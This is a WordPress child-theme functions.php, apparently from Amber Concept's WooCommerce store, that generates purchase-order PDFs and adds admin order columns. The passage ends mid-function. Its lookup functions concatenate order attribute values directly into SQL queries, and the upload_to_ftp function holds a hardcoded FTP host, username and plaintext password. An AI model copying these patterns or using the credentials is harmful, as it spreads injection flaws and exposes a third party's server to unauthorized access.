File: /var/www/html/test01.amberconcept/wp-content/themes/zeen-child/functions.php
<?php
/* custom function (do not remove) */
/* ====================================================== */
// for commission page
function get_custom_currency_list(){
global $wpdb;
$currency_list = array();
$result = $wpdb->get_results("SELECT * FROM `custom_currency` WHERE status = 1 ORDER BY id");
foreach ( $result as $idx=>$currency ) {
array_push($currency_list,$currency);
}
return $currency_list;
}
// for commission page
function get_custom_supplier_list(){
global $wpdb;
$supplier_list = array();
$result = $wpdb->get_results("SELECT * FROM `custom_supplier` WHERE status = 1 ORDER BY id");
foreach ( $result as $idx=>$supplier ) {
array_push($supplier_list,$supplier);
}
return $supplier_list;
}
// for PO pdf
function get_value_from_cover_box_material($key, $field){
global $wpdb;
$result = $wpdb->get_results("SELECT * FROM `custom_lookup_cover_box_material` WHERE hash = '".trim($key)."' LIMIT 1");
if($result)
return $result[0]->$field;
else {
return "";
}
}
// for PO pdf
function get_display_binding($size, $orientation, $binding){
global $wpdb;
$result = $wpdb->get_results("SELECT display_binding FROM `custom_lookup_size_binding_material` WHERE size = '".trim($size)."' AND orientation = '".trim($orientation)."' AND binding = '".trim($binding)."' LIMIT 1");
if($result)
return $result[0]->display_binding;
else {
return "";
}
}
// for PO pdf
function get_inner_paper_material($size, $orientation, $binding, $spreads){
global $wpdb;
if ($spreads <= 23){
$field = "inner_page_material";
} else {
$field = "inner_page_material2";
}
$result = $wpdb->get_results("SELECT `".$field."` FROM `custom_lookup_size_binding_material` WHERE size = '".trim($size)."' AND orientation = '".trim($orientation)."' AND binding = '".trim($binding)."' LIMIT 1");
if($result)
return $result[0]->$field;
else {
return "";
}
}
// for PO pdf
function get_display_size($size, $orientation){
global $wpdb;
$result = $wpdb->get_results("SELECT display_size FROM `custom_lookup_size_binding_material` WHERE size = '".trim($size)."' AND orientation = '".trim($orientation)."' LIMIT 1");
if($result)
return $result[0]->display_size;
else {
return "";
}
}
// for PO pdf
function get_lining_material($size, $orientation, $binding) {
global $wpdb;
$result = $wpdb->get_results("SELECT lining_material FROM `custom_lookup_size_binding_material` WHERE size = '".trim($size)."' AND orientation = '".trim($orientation)."' AND binding = '".trim($binding)."' LIMIT 1");
if($result)
return $result[0]->lining_material;
else {
return "";
}
}
// for PO pdf
function get_display_finishing($finishing){
global $wpdb;
$result = $wpdb->get_results("SELECT display_finishing FROM `custom_lookup_finishing` WHERE finishing = '".trim($finishing)."' LIMIT 1");
if($result)
return $result[0]->display_finishing;
else {
return "";
}
}
// for PO pdf
function get_finishing_material($finishing){
global $wpdb;
$result = $wpdb->get_results("SELECT finishing_material FROM `custom_lookup_finishing` WHERE finishing = '".trim($finishing)."' LIMIT 1");
if($result)
return $result[0]->finishing_material;
else {
return "";
}
}
// for PO pdf
function get_display_fonts($fonts){
global $wpdb;
$result = $wpdb->get_results("SELECT display_fonts FROM `custom_lookup_fonts` WHERE fonts = '".trim($fonts)."' LIMIT 1");
if($result)
return $result[0]->display_fonts;
else {
return "";
}
}
// for PO pdf
function get_display_position($position){
global $wpdb;
$result = $wpdb->get_results("SELECT display_position FROM `custom_lookup_position` WHERE position = '".trim($position)."' LIMIT 1");
if($result)
return $result[0]->display_position;
else {
return "";
}
}
// for PO pdf
function get_customer_logo_po($name){
global $wpdb;
$result = $wpdb->get_results("SELECT po FROM `custom_lookup_customer_logo_po` WHERE customer = '".trim($name)."' LIMIT 1");
if($result)
return $result[0]->po;
else {
return "";
}
}
/* ====================================================== */
function generate_po($order_id){
require_once('TCPDF/data/tcpdf_include.php');
date_default_timezone_set("Asia/Hong_Kong");
//$order_id = $_GET['order_id'];
$order = wc_get_order($order_id);
//if(!$order) return ;
$isFotomax = $order->get_user_id()==7?true:false;
// draw header table
$htmlHeader = '<div id="headerSection">
<table cellspacing="2" cellpadding="2">
<tr>
<td>
<table id="po_table" cellspacing="1" cellpadding="1">
<tr>
<td colspan="2"><h1>PURCHASE ORDER</h1></td>
</tr>
<tr>
<td></td><td></td>
</tr>
<tr>
<td>DATE:</td><td>'.date('F d, Y', strtotime($order->get_date_created())).'</td>
</tr>
<tr>
<td>VENDOR NO.:</td><td>Wink Impression</td>
</tr>
<tr>
<td>ORDER ID:</td><td>PO# '.$order->get_order_number().'</td>
</tr>
</table>
</td>
<td></td>
<td>
<table id="amber_table" cellspacing="1" cellpadding="1" style="text-align: right;">
<tr>
<td><img src="custom/image/Amber.png" width="150"></td>
</tr>
<tr>
<td><small>Flat 6A, Kin Ho Industrial Building, Block 1<br>14-24 Au Pui Wan Street, Fotan, NT, HK</small></td>
</tr>
<tr>
<td><small>Tel: 852-2278 5768<br>Fax: 852-2691 0724<br>Email: cs.hk@amberconcept.com</small></td>
</tr>
</table>
</td>
</tr>
</table>
</div>';
// draw address table
$htmlAddress = '<div id="addressSection">
<table cellspacing="0" cellpadding="0" border="1">
<tr>
<td width="30%">
<table id="vendor_table" cellspacing="1" cellpadding="1">
<tr style="background-color:#000;color:#FFF">
<td>Vendor</td>
</tr>
<tr>
<td>Wink Impression</td>
</tr>
<tr>
<td>中國廣東省東莞市樟木頭鎮莞樟東路311號</td>
</tr>
<tr>
<td>Tel: (+86) 076987191122</td>
</tr>
<tr>
<td>Fax: (+86) 076987782619</td>
</tr>
<tr>
<td>Email: hongli_pang@w-impression.com</td>
</tr>
<tr>
<td>Attn: 紅麗</td>
</tr>
</table>
</td>
<td width="30%">
<table id="ship_table" cellspacing="1" cellpadding="1">
<tr style="background-color:#000;color:#FFF">
<td>Ship To</td>
</tr>
<tr>
<td>Amber Concept Ltd.</td>
</tr>
<tr>
<td>Flat 6A, Blk 1, Kin Ho Industrial Building</td>
</tr>
<tr>
<td>14-24 Au Pui Wan St. Fotan, HK</td>
</tr>
<tr>
<td>Tel: (852) 2278 5700</td>
</tr>
<tr>
<td>Fax: (852) 2691 0724</td>
</tr>
<tr>
<td>Email: sam.lee@amberconcept.com</td>
</tr>
<tr>
<td>Attn: Sam Lee</td>
</tr>
</table>
</td>
<td width="40%">
<table id="other_table" cellspacing="1" cellpadding="1">
<tr style="background-color:#000;color:#FFF">
<td colspan="2">Other Information</td>
</tr>
<tr>
<td>Ship Via: </td><td>'.$order->get_shipping_method().'</td>
</tr>
<tr>
<td>Shipment Term: </td><td>FOB</td>
</tr>
<tr>
<td>Payment Term: </td><td>Net 30 Days</td>
</tr>
<tr>
<td>Request Delivery Date: </td><td>'.($isFotomax?'Fotomax單, 7日內交':'10日內交').'</td>
</tr>
<tr>
<td>Courier: </td><td>Fedex/SF Express/GE-DHL</td>
</tr>
<tr>
<td>Shippng Document Value: </td><td>US$50 /pc</td>
</tr>
<tr>
<td>Weight & Ctn Size: </td><td>Pls see packing list</td>
</tr>
</table>
</td>
</tr>
</table>
</div>';
// draw footer cell (right)
$htmlPrice = '
<table cellspacing="1" cellpadding="1" border="1">
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Sub Total:</td>
<td width="30%" align="center"></td>
</tr>
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Discount:</td>
<td width="30%" align="center"></td>
</tr>
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Sales Tax Rate:</td>
<td width="30%" align="center"></td>
</tr>
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Sales Tax:</td>
<td width="30%" align="center"></td>
</tr>
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Other Cost:</td>
<td width="30%" align="center"></td>
</tr>
<tr>
<td width="70%" align="right" style="background-color:#000;color:#FFF">Grand Total:</td>
<td width="30%" align="center"></td>
</tr>
</table>';
// draw date cell (left)
$htmlDate = '<table id="dateSection" width="100%">
<tr>
<td><h1>'.date('F d, Y', strtotime($order->get_date_created())).'</h1></td>
</tr>
<tr>
<td><hr></td>
</tr>
<tr>
<td>Date</td>
</tr>
</table>';
// draw sign cell (right)
$htmlSign = '<table id="signSection" width="100%">
<tr>
<td><h1>Sam Lee</h1></td>
</tr>
<tr>
<td><hr></td>
</tr>
<tr>
<td>Authorized Signature</td>
</tr>
</table>';
// Extend the TCPDF class to create custom Header and Footer
class MYPDF extends TCPDF {
public $htmlHeader;
public $htmlAddress;
public $htmlShipping;
public $htmlPrice;
public $htmlDate;
public $htmlSign;
//Page header
public function Header() {
$this->writeHTML($this->htmlHeader, true, false, false, false, '');
$this->Line(10, 38, 200, 38, array('width' => 0.7));
$this->writeHTML($this->htmlAddress, true, false, false, false, '');
}
// Page footer
public function Footer() {
// Position at 60 mm from bottom
$this->SetY(-60);
$this->SetFillColor(204,204,204);
$this->SetTextColor(0, 0, 0);
$this->writeHTMLCell(60, '', 10, 235, $this->htmlShipping, 0, 1, 1, true, 'L', true);
$this->SetFillColor(255, 255, 255);
$this->writeHTMLCell(60, '', 140, 235, $this->htmlPrice, 0, 1, 1, true, 'J', true);
$this->writeHTMLCell(60, '', 10, 265, $this->htmlDate, 0, 1, 1, true, 'J', true);
$this->writeHTMLCell(60, '', 140, 265, $this->htmlSign, 0, 1, 1, true, 'J', true);
$this->Line(10, 286, 200, 286, array('width' => 0.3));
// Page number
$this->Cell(205, 20, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'R', 0, '', 0, false, 'T', 'M');
}
}
// create new PDF document
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->htmlHeader = $htmlHeader;
$pdf->htmlAddress = $htmlAddress;
$pdf->htmlPrice = $htmlPrice;
$pdf->htmlDate = $htmlDate;
$pdf->htmlSign = $htmlSign;
// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('WH-HKMIS');
$pdf->SetTitle('AMBER PO');
$pdf->SetSubject('AMBER PO');
$pdf->SetKeywords('AMBER PO');
// set default header data
$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE, PDF_HEADER_STRING);
// set header and footer fonts
$pdf->setHeaderFont(Array('DroidSansFallback', '', PDF_FONT_SIZE_DATA));
$pdf->setFooterFont(Array('DroidSansFallback', '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, 80, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(10);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, 60);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// ---------------------------------------------------------
// set font
$pdf->SetFont('DroidSansFallback', '', 8, '', true);
// add a page
$pdf->AddPage();
// draw product table
$i = 1;
foreach( $order->get_items() as $item_id => $item ) {
$htmlProduct = '<div id="productSection">';
$htmlProduct .= '<table cellspacing="0" cellpadding="0" border="1" nobr="true"><tr><td>
<table cellspacing="1" cellpadding="3" border="1">
<tr style="background-color:#000;color:#FFF">
<td width="20%" align="left">Description '.$i.'</td>
<td width="50%" align="left"></td>
<td width="10%" align="center">Qty.</td>
<td width="10%" align="center">Unit Price</td>
<td width="10%" align="center">Total</td>
</tr> ';
$i++;
$product = wc_get_product( $item->get_product_id());
$formatted_meta_data = $item->get_formatted_meta_data( '_', true );
$htmlProduct .= '
<tr>
<td>Name 產品名稱</td>
<td>'.$item->get_name().'</td>
<td align="center">'.$item->get_quantity().'</td>
<td align="center"></td>
<td align="center"></td>
</tr>';
$array_attributes = array();
foreach($formatted_meta_data as $metaObj){
$array_attributes[$metaObj->display_key] = strip_tags($metaObj->display_value);
}
/*
if(!isset($array_attributes['Orientation'])){
$array_attributes['Orientation'] = "Lanscape";
}
*/
$array_orientation = array(
'Portrait' => '直度',
'Square' => '正方',
'Lanscape' => '橫度'
);
$bill_to_name = $order->get_formatted_billing_full_name();
$array_logo_file = array(
'Upload' => get_customer_logo_po($bill_to_name)!=""?get_customer_logo_po(trim($bill_to_name)):'Logo圖樣',
'Letterpress' => "壓字粒"
);
//print_r($array_attributes);
foreach($array_attributes as $display_name => $display_value) {
$display_value = trim($display_value);
switch(trim($display_name)){
case "Color":
$htmlProduct .= '<tr><td>'.$display_name.' 封殼物料</td><td colspan="4">'.$display_value.' ('.get_value_from_cover_box_material($display_value,'cover_material').')</td></tr>';
break;
case "Binding":
$htmlProduct .= '<tr><td>'.$display_name.' 釘裝方式</td><td colspan="4">'.$display_value.' ('.get_display_binding($array_attributes['Size'],$array_attributes['Orientation'],$display_value).')</td></tr>';
$htmlProduct .= '<tr><td>Inner Paper</td><td colspan="4">'.get_inner_paper_material($array_attributes['Size'],$array_attributes['Orientation'],$array_attributes['Binding'],$array_attributes['Spreads']).'</td></tr>';
if(get_display_binding($array_attributes['Size'],$array_attributes['Orientation'],$display_value)=="雜誌裝"){
$htmlProduct .= '<tr><td>Book Tap 書頭布</td><td colspan="4">'.get_value_from_cover_box_material($array_attributes['Color'],'book_tape').'</td></tr>';
}
$htmlProduct .= '<tr><td>Lining Material 襯層物料</td><td colspan="4">'.get_lining_material($array_attributes['Size'],$array_attributes['Orientation'],$display_value).'</td></tr>';
break;
case "Size":
$htmlProduct .= '<tr><td>'.$display_name.' 尺寸</td><td colspan="4">'.get_display_size($display_value,$array_attributes['Orientation']).'</td></tr>';
break;
case "Orientation":
$htmlProduct .= '<tr><td>'.$display_name.' 方向</td><td colspan="4">'.$array_orientation[$display_value].'</td></tr>';
break;
case "Logo File":
$htmlProduct .= '<tr><td>'.$display_name.'</td><td colspan="4">'.$array_logo_file[$display_value].'</td></tr>';
break;
case "Logo Finishing":
$htmlProduct .= '<tr><td>'.$display_name.' 相冊後工序</td><td colspan="4">'.get_display_finishing($display_value).' ('.get_finishing_material($display_value).')</td></tr>';
break;
case "Font":
$htmlProduct .= '<tr><td>'.$display_name.' 字款</td><td colspan="4">'.get_display_fonts($display_value).'</td></tr>';
break;
case "Logo Position":
$htmlProduct .= '<tr><td>'.$display_name.' 位置</td><td colspan="4">'.get_display_position($display_value).'</td></tr>';
break;
case "Letterpress Finishing":
$htmlProduct .= '<tr><td>'.$display_name.' 相冊後工序</td><td colspan="4">'.get_display_finishing($display_value).' ('.get_finishing_material($display_value).')</td></tr>';
break;
case "Letterpress Position":
$htmlProduct .= '<tr><td>'.$display_name.' 位置</td><td colspan="4">'.get_display_position($display_value).'</td></tr>';
break;
case "Text on Lining":
$htmlProduct .= '<tr><td>'.$display_name.'</td><td colspan="4">文字: '.$display_value.'</td></tr>';
$htmlProduct .= '<tr><td><span style="color:#FFF">'.$display_name.'</span></td><td colspan="4">字款: Avenir 25pt</td></tr>';
$htmlProduct .= '<tr><td><span style="color:#FFF">'.$display_name.'</span></td><td colspan="4">位置: 上下左右分中</td></tr>';
$htmlProduct .= '<tr><td><span style="color:#FFF">'.$display_name.'</span></td><td colspan="4">顏色: White 白色</td></tr>';
break;
case "Spreads":
$htmlProduct .= '<tr><td>'.$display_name.' 頁數</td><td colspan="4">'.$display_value.'P</td></tr>';
break;
case "Remark":
$htmlProduct .= '<tr><td>'.$display_name.' 備註</td><td colspan="4">'.$display_value.'</td></tr>';
break;
case "Box":
//$htmlProduct .= '<tr><td colspan="3">'.$display_value.'</td></tr>';
if(trim($display_value)!="None"){
if(trim($display_value)=="Matte Box"){
$htmlProduct .= '<tr><td>Box 盒子</td><td colspan="4">天地蓋黑盒 ('.get_value_from_cover_box_material($array_attributes['Color'],'matte_box_material').')</td></tr>';
$htmlProduct .= '<tr><td>Ribbon 絲帶</td><td colspan="4">'.get_value_from_cover_box_material($array_attributes['Color'],'matte_box_ribbon').'</td></tr>';
}
if(trim($display_value)=="Luxe Presentation Box"){
$htmlProduct .= '<tr><td>Box 盒子</td><td colspan="4">配色掀蓋盒 ('.get_value_from_cover_box_material($array_attributes['Color'],'luxe_presentation_box_material').')</td></tr>';
$htmlProduct .= '<tr><td>Ribbon 絲帶</td><td colspan="4">'.get_value_from_cover_box_material($array_attributes['Color'],'luxe_presentation_box_ribbon').'</td></tr>';
}
$htmlProduct .= '<tr><td>Box Finishing 盒面後工序</td><td colspan="4">跟相薄封面</td></tr>';
$htmlProduct .= '<tr><td>Box Size 盒尺寸</td><td colspan="4">適合放入相冊尺寸</td></tr>';
}
break;
case "Black Matt Box":
if(trim($display_value)!="None"){
if(strpos($display_value,"Yes")!==false){
$htmlProduct .= '<tr><td>Box 盒子</td><td colspan="4">天地蓋黑盒 ('.get_value_from_cover_box_material($array_attributes['Color'],'matte_box_material').')</td></tr>';
$htmlProduct .= '<tr><td>Ribbon 絲帶</td><td colspan="4">'.get_value_from_cover_box_material($array_attributes['Color'],'matte_box_ribbon').'</td></tr>';
}
$htmlProduct .= '<tr><td>Box Finishing 盒面後工序</td><td colspan="4">跟相薄封面</td></tr>';
$htmlProduct .= '<tr><td>Box Size 盒尺寸</td><td colspan="4">適合放入相冊尺寸</td></tr>';
}
break;
default:
$htmlProduct .= '<tr><td>'.$display_name.'</td><td colspan="4">'.$display_value.'</td></tr>';
break;
}
}
if($isFotomax){
$htmlProduct .= '<tr><td>Remark 備註</td><td colspan="4">封底內頁底部左下角燙Amber logo,右下角燙fotomax logo (跟PO100000548-1)</td></tr>';
}
$htmlProduct .= '<tr><td>Packaging 包裝方式</td><td colspan="4">產品用氣泡袋及海棉護角保護後入AMBER坑箱</td></tr>';
if(trim($item->get_name())=="Canvas"){
$file = get_post_meta($order_id, '_wcuf_uploaded_files', true);
if($file!=""){
foreach($file as $fileArr){
$htmlProduct .= '<tr><td colspan="5"><img src="'.$fileArr['absolute_path'][0].'" width="300"><img></td></tr>';
}
}
}
//Image(file, x = '', y = '', w = 0, h = 0, type = '', link = nil, align = '', resize = false, dpi = 300, palign = '', ismask = false, imgmask = false, border = 0, fitbox = false, hidden = false, fitonpage = false)
//$pdf->Image('/var/www/html/amberconcept/document/file/Tulips.jpg', 10, 140, 0, 50, 'JPG', '', '', true, 150, '', false, false, 0, false, false, false);
$htmlProduct .= '</table></td></tr></table>';
$htmlProduct .= '</div>';
$pdf->writeHTML($htmlProduct, true, false, false, false, '');
// draw footer cell (left)
if($isFotomax){
$htmlShipping = "Fotomax<br>(".trim($array_attributes['Fotomax PO']).")";
} else {
$fullname = $order->get_formatted_shipping_full_name()==""?"":$order->get_formatted_shipping_full_name();
$company = $order->get_shipping_company()==""?"":"<br>".$order->get_shipping_company();
$address1 = $order->get_shipping_address_1()==""?"":"<br>".$order->get_shipping_address_1();
$address2 = $order->get_shipping_address_2()==""?"":"<br>".$order->get_shipping_address_2();
$city = $order->get_shipping_city()==""?"":"<br>".$order->get_shipping_city();
$state = $order->get_shipping_state()==""?"":"<br>".$order->get_shipping_state();
$country = $order->get_shipping_country()==""?"":"<br>".$order->get_shipping_country();
$htmlShipping = $fullname.$company.$address1.$address2.$city.$state.$country;
}
$pdf->htmlShipping = $htmlShipping;
//$pdf->lastPage();
}
// ---------------------------------------------------------
$output_path = "/var/www/html/amberconcept/document/po/";
//Close and output PDF document
$pdf->Output($output_path.'PO'.$order->get_order_number().'.pdf', 'F');
//$pdf->Output('PO'.$order->get_order_number().'.pdf', 'I');
//echo $htmlProduct;
//============================================================+
// END OF FILE
//============================================================+
/* upload to ftp (need to configure) in upload_to_ftp function */
//upload_to_ftp('PO'.$order->get_order_number().'.pdf');
}
// upload file to remote ftp server
function upload_to_ftp($file){
$ftp_server = "ftp.winghung.com";
$ftp_user_name = "whmis";
$ftp_user_pass = "WHServer&*)1";
$ftp = ftp_connect($ftp_server);
// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);
$passive = true;
//echo "Setting Passive Mode=$passive<br>";
ftp_pasv($ftp, $passive);
// check connection
if ((!$ftp) || (!$login_result)) {
exit;
}
/*
if ((!$ftp) || (!$login_result)) {
echo "FTP connection has failed!<br>";
echo "Attempted to connect to $ftp_server for user $ftp_user_name<br>";
exit;
} else {
echo "Connected to $ftp_server, for user $ftp_user_name<br>";
}
*/
$dir = "Test/hkmis";
if (ftp_nlist($ftp, $dir) === false) {
ftp_mkdir($ftp, $dir);
}
//ftp_mkdir($ftp, $dir);
/*
if (ftp_mkdir($ftp, $dir)) {
echo "successfully created $dir<br>";
} else {
echo "There was a problem while creating $dir<br>";
}
*/
$source_file = "/var/www/html/amberconcept/document/po/".$file;
$destination_file = $dir."/".$file;
// upload the file
$upload = ftp_put($ftp, $destination_file, $source_file, FTP_BINARY);
// check upload status
/*
if (!$upload) {
echo "FTP upload has failed!<br>";
} else {
echo "Uploaded $source_file to $ftp_server as $destination_file<br>";
}
*/
// close the FTP connection
ftp_close($ftp);
}
// generate po (only when order placed at frontend)
add_action( 'woocommerce_thankyou', 'create_po', 10, 1 );
function create_po($order_id) {
if ( ! $order_id )
return;
generate_po($order_id);
}
// add button to edit order page
add_action( 'add_meta_boxes', 'po_meta_boxes' );
function po_meta_boxes(){
add_meta_box(
'woocommerce-order-po',
__( 'Export PO' ),
'order_meta_box_po',
'shop_order',
'side',
'default'
);
}
function order_meta_box_po(){
$post_id = isset($_GET['post']) ? $_GET['post'] : false;
if(!$post_id) return; // Exit
echo '<a href="https://wp.amberconcept.com/print_po.php?order_id='.$post_id.'" target="_blank"><input type="button" value="PDF PO" class="button button-primary"></input></a>';
}
/*
/**
* Zeen Child Theme functions and definitions.
*/
function zeen_child_enqueue_styles() {
wp_enqueue_style( 'zeen-child-style' , get_stylesheet_directory_uri() . '/style.css', array( 'zeen-style' ), ZEEN_VERSION );
}
add_action( 'wp_enqueue_scripts', 'zeen_child_enqueue_styles' );
/**--Spreads min&max page*/
add_action('wp_footer', 'settap_number_field', 99);
function settap_number_field() {
if(is_single()) {
?>
<script type="text/javascript">
(function($) {
$("#dmsspreads, #dmmspreads, #dmlspreads").attr({
"max" : 45,
"min" : 15
});
$("#dfsspreads, #dfmspreads, #dflspreads").attr({
"max" : 40,
"min" : 10
});
})(jQuery, window, document)
</script>
<?php
}
}
/**--*/
// Declare WooShippedmerce support.
/*
add_theme_support( 'wooShippedmerce', array(
'thumbnail_image_width' => 200,
'gallery_thumbnail_image_width' => 100,
'single_image_width' => 500,
) );
*/
//
//from::https://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column
// For displaying in columns.
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns2' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns3' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns4' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns5' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns6' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns7' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns8' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns9' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns10' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns11' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns12' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns13' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns14' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns15' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns16' );
add_filter( 'manage_edit-shop_order_columns', 'set_custom_edit_shop_order_columns17' );
function set_custom_edit_shop_order_columns($columns) {
$columns['Rebate_amount'] = __( 'Rebate_amount', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns2($columns) {
$columns['Cost1_amount'] = __( 'Cost1_amount', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns3($columns) {
$columns['Cost1_currency'] = __( 'Cost1_currency', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns4($columns) {
$columns['Payment'] = __( 'Payment', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns5($columns) {
$columns['Cost1_supplier'] = __( 'Cost1_supplier', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns6($columns) {
$columns['Cost2_amount'] = __( 'Cost2_amount', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns7($columns) {
$columns['Cost2_currency'] = __( 'Cost2_currency', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns8($columns) {
$columns['Cost2_supplier'] = __( 'Cost2_supplier', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns9($columns) {
$columns['Payment_remark'] = __( 'Payment_remark', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns10($columns) {
$columns['Cost3_amount'] = __( 'Cost3_amount', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns11($columns) {
$columns['Cost3_currency'] = __( 'Cost3_currency', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns12($columns) {
$columns['Cost3_supplier'] = __( 'Cost3_supplier', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns13($columns) {
$columns['Cost1_po'] = __( 'Cost1_po', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns14($columns) {
$columns['Cost2_po'] = __( 'Cost2_po', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns15($columns) {
$columns['Cost3_po'] = __( 'Cost3_po', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns16($columns) {
$columns['Rebate_to'] = __( 'Rebate_to', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
function set_custom_edit_shop_order_columns17($columns) {
$columns['Customer_po'] = __( 'Customer_po', 'https://wp.amberconcept.Shipped/' );
return $columns;
}
// Add the data to the custom columns for the order post type:
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column2', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column3', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column4', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column5', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column6', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column7', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column8', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column9', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column10', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column11', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column12', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column13', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column14', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column15', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column16', 10, 2 );
add_action( 'manage_shop_order_posts_custom_column' , 'custom_shop_order_column17', 10, 2 );
function custom_shop_order_column( $column, $post_id ) {
switch ( $column ) {
case 'Rebate_amount' :
echo esc_html( get_post_meta( $post_id, 'Rebate_amount', true ) );
break;
}
}
function custom_shop_order_column2( $column, $post_id ) {
switch ( $column ) {
case 'Cost1_amount' :
echo esc_html( get_post_meta( $post_id, 'Cost1_amount', true ) );
break;
}
}
function custom_shop_order_column3( $column, $post_id ) {
switch ( $column ) {
case 'Cost1_currency' :
echo esc_html( get_post_meta( $post_id, 'Cost1_currency', true ) );
break;
}
}
function custom_shop_order_column4( $column, $post_id ) {
switch ( $column ) {
case 'Payment' :
echo esc_html( get_post_meta( $post_id, 'Payment', true ) );
break;
}
}
function custom_shop_order_column5( $column, $post_id ) {
switch ( $column ) {
case 'Cost1_supplier' :
echo esc_html( get_post_meta( $post_id, 'Cost1_supplier', true ) );
break;
}
}
function custom_shop_order_column6( $column, $post_id ) {
switch ( $column ) {
case 'Cost2_amount' :
echo esc_html( get_post_meta( $post_id, 'Cost2_amount', true ) );
break;
}
}
function custom_shop_order_column7( $column, $post_id ) {
switch ( $column ) {
case 'Cost2_currency' :
echo esc_html( get_post_meta( $post_id, 'Cost2_currency', true ) );
break;
}
}
function custom_shop_order_column8( $column, $post_id ) {
switch ( $column ) {
case 'Cost2_supplier' :
echo esc_html( get_post_meta( $post_id, 'Cost2_supplier', true ) );
break;
}
}
function custom_shop_order_column9( $column, $post_id ) {
switch ( $column ) {
case 'Cost3_amount' :
echo esc_html( get_post_meta( $post_id, 'Cost3_amount', true ) );
break;
}
}
function custom_shop_order_column10( $column, $post_id ) {
switch ( $column ) {
case 'Cost3_currency' :
echo esc_html( get_post_meta( $post_id, 'Cost3_currency', true ) );
break;
}
}
function custom_shop_order_column11( $column, $post_id ) {
switch ( $column ) {
case 'Cost3_supplier' :
echo esc_html( get_post_meta( $post_id, 'Cost3_supplier', true ) );
break;
}
}
function custom_shop_order_column12( $column, $post_id ) {
switch ( $column ) {
